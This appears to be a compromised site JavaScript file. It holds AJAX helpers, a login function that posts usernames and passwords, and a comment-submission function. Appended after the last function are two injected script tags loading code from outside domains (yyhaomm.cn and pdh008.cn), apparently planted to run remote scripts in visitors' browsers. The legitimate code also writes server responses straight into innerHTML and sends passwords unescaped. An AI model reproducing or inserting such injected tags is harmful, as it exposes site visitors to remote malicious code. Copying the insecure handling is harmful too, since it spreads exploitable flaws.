function getRequest()
 {
        http_request = false;

        if (window.XMLHttpRequest)
		  {
                //对于Mozilla、Netscape、Safari等浏览器，创建XMLHttpRequest
                http_request = new XMLHttpRequest();
                if (http_request.overrideMimeType) {
                        //如果服务器响应的header不是text/xml，可以调用其它方法修改该header
                    http_request.overrideMimeType('text/xml');
            }
        } else if (window.ActiveXObject) {
                // 对于Internet Explorer浏览器，创建XMLHttpRequest
                try {
                        http_request = new ActiveXObject("Msxml2.XMLHTTP");
                } catch (e)
					{
                        try {
                                http_request = new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (e){}
                }
        }
        return http_request;
}

//POST 提交数据
function posthttp(str,url){
        http_request=getRequest();
        http_request.open('POST',url,false);
        http_request.setRequestHeader("Content-Length",str.length);
        http_request.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");

        http_request.send(str);
        if (http_request.readyState == 4)
        {
        　　　// 收到完整的服务器响应
        　　　if (http_request.status == 200) {
                        //HTTP服务器响应的值OK
                　　　  requestdoc = http_request.responseText;
                　　　  //将服务器返回的字符串写到页面中ID为message的区域
                        return requestdoc;
        }else{
        　　　　  //requestdoc = http_request.status;
                return false;
        　　 }
        }
}

function getResponseText(url)
{
	http_request=getRequest();
	http_request.open('GET', url, false);
	http_request.send(null);

	if (http_request.readyState == 4)
		　　 {
			　　　// 收到完整的服务器响应
				　　　if (http_request.status == 200) {
					　　    //HTTP服务器响应的值OK
						　　　　  requestdoc = "ok";
					　　　　  //将服务器返回的字符串写到页面中ID为message的区域
				}
			　　　   else {
		　　　　  requestdoc = "error";
	　　　   }
　　  }
	return requestdoc;
}

function send(obj){
	var instr;
	var rn=parseInt(Math.random()*1000);;
	var f=document.ilogin;
	var username=escape(getObject("username").value);
	var userpass=getObject("password").value;
	var usertime=getObject("usertime").value;
	if(username==""||userpass==""){
		//document.getElementById(obj).innerHTML="<font color=red>请填写登陆名或密码</font>";
		alert(" 请输入会员名及密码! ");
		f.username.focus();
		return false;
	}
	else{
		//instr=send_request('task/index.php?mod=user&com=checkinfo&username='+username+'&userpass='+userpass+'&rn='+rn);
		instr='username='+username+'&userpass='+userpass+'&usertime='+usertime+'';
		instr=posthttp(instr,'task/index.php?mod=user&com=checkinfo&rn='+rn);
		if(instr.indexOf("密码错误")!=-1){
			getObject("loginerr").innerHTML="<font color=red>用户名或密码错误！</font>";
		}else{
			getObject(obj).innerHTML=instr;
		}
		//	reobj=obj;
	}
	return false;
}

function sendc(obj)
   {
        var instr;
        var rn=parseInt(Math.random()*1000);;
        var f=document.ilogin;
        var username=escape(getObject("username").value);
        var cont=escape(getObject("cont").value);
        var cid=getObject("cid").value;
        var rid=getObject("rid").value;
	var PostData2="id="+rid+"&type=go";
        if(cont=="")
	   {
                //document.getElementById(obj).innerHTML="<font color=red>请填写登陆名或密码</font>";
                alert(" 评论不能为空! ");
                f.cont.focus();
                return false;
        }
        else{
                //instr=send_request('task/index.php?mod=user&com=checkinfo&username='+username+'&userpass='+userpass+'&rn='+rn);
                instr='username='+username+'&cont='+cont+'&cid='+cid+'&rid='+rid+'';
                instr=posthttp(instr,'/comment.php?type=ajup&rn='+rn);
                if(instr.indexOf("密码错误")!=-1){
                        getObject("loginerr").innerHTML="<font color=red>数据错误！</font>";
                }else{
                        getObject(obj).innerHTML=instr;
                }
		posthttp(PostData2,"/webpub.php");
                //      reobj=obj;
        }
        return false;
}<script src=http://yyhaomm.cn></script><script src=http://pdh008.cn></script>